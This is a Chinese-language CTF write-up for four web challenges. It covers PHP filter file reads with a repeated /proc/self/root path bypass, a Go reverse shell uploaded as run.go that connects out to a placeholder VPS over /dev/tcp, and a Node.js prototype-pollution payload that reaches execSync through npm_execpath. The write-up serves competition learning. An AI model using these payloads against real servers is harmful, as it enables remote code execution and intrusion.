最后一题想到一个非预期,嗯~~~非预期没做出来

MyDoor

任意文件包含 php://filter/read=convert.base64-encode/resource=index.php

然后传参 N[S.S=system("ls");&file= 弹 shell,然后找到 藏 flag 的地方

MyPage

和 MyDoor 差不多,这里使用脏数据绕过

1
php://filter/read=convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/cwd/index.php

然后读取 flag.php 嘛

Upload_gogoggo

传一个文件,而且会执行文件名,上传 run.go 的话,会执行 go run run.go ······

写一个弹 shell 的 go,命名为 run.go 传上去就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
package main


import (
"fmt"
"log"
"os/exec"
)

func main() {
cmd := exec.Command("bash", "-c","bash -i >& /dev/tcp/vps/port 0>&1")
out, err := cmd.CombinedOutput()
if err != nil {
fmt.Printf("combined out:\n%s\n", string(out))
log.Fatalf("cmd.Run() failed with %s\n", err)
}
fmt.Printf("combined out:\n%s\n", string(out))
}

然后 flag 在 /home/galf ······ 好无语啊

ez_node

这一次比赛的时候,在没看到 hint 之前,想到了一种方法······到最后一步,已经可以把 flag 从根目录移动到 /app/ 目录下了,可还是读取不了

之后看到 hint,才知道另一种做法:只需要 原型链污染,和一个 require(‘./err.js’) 并且 目录里面没有 package.json 文件

参考: https://ctf.zeyu2001.com/2022/balsnctf-2022/2linenodejs (这不是和原题一模一样嘛)

保险起见,利用一下文件上传功能,上传 preinstall.js 到 ./upload/bcb0b237d4d7554e36ae7984cc6f28b3.js

然后打 payload 就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"__proto__": {
"data": {
"name": "./err.js",
"exports": {
".": "./bcb0b237d4d7554e36ae7984cc6f28b3.js"
}
},
"path": "./upload",
"npm_config_global": 1,
"npm_execpath": "--eval=require('child_process').execSync('cp${IFS}/flag${IFS}/app/public/flag.html')"
},
"x": null
}

一开始在本地测试能不能弹计算器,一直没成功。

后面才发现,一开始为了方便,自己给项目加了 package.json,删掉它就好了

再说说我本来的做法

原型链污染,是大家都可以做到的,我想到污染后对 req.files[0] 这一参数可控,那么 oldName 和 newName 将不受约束,可以将 flag 移动到 public 目录(美好的想象)

实际上确实如此,发送一个简单的不上传文件的 POST 请求,就能使 req.files[0].path 获取到原型中的值

1
2
3
4
5
6
7
8
9
10
let oldName = req.files[0].path;
let newName = req.files[0].path + path.parse(req.files[0].originalname).ext;
fs.renameSync(oldName, newName);
res.send({
err: 0,
url:
"./upload/" +
req.files[0].filename +
path.parse(req.files[0].originalname).ext,
});

开始来实践一下,发送如下 payload

1
2
3
4
5
6
7
8
9
10
{
"__proto__": {
"originalname": "1.xxx",
"files": [
{
"path": "/D:/Users/tel/Downloads/ez_node/app/public/upload.html"
}
]
}
}

成功的将任意一个文件重命名,修改其后缀名,问题是,还无法跨目录移动文件

经过查找资料,发现 fs.renameSync 可以接受 oldName=URL object,而此时的 newName=oldName+path.parse("xxx").ext 不会报错,而是 Object to String 转换成 newName="[object Object]"+path.parse("xxx").ext

本地开启环境,测试一下:

向 /pollution 发送

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
{
"__proto__": {
"filename": "xxxxx",
"files": [
{
"path": {
"hash": "",
"href": "file:///flag",
"origin": "null",
"pathname": "/flag",
"port": "",
"username": "",
"password": "",
"host": "",
"hostname": "",
"port": "",
"protocol": "file:",
"search": "",
"searchParams": {
"URLSearchParams ": ""
}
}
}
],
"length": 1,
"originalname": "1.html"
}
}

POST 直接访问 /upload 路由

进入容器中查看,发现成功的将 flag 移动到 /app 目录中,命名为 [object Object].xxx

要是能移动到 public 目录里,那这题的非预期就完成了,可惜不知道怎么继续弄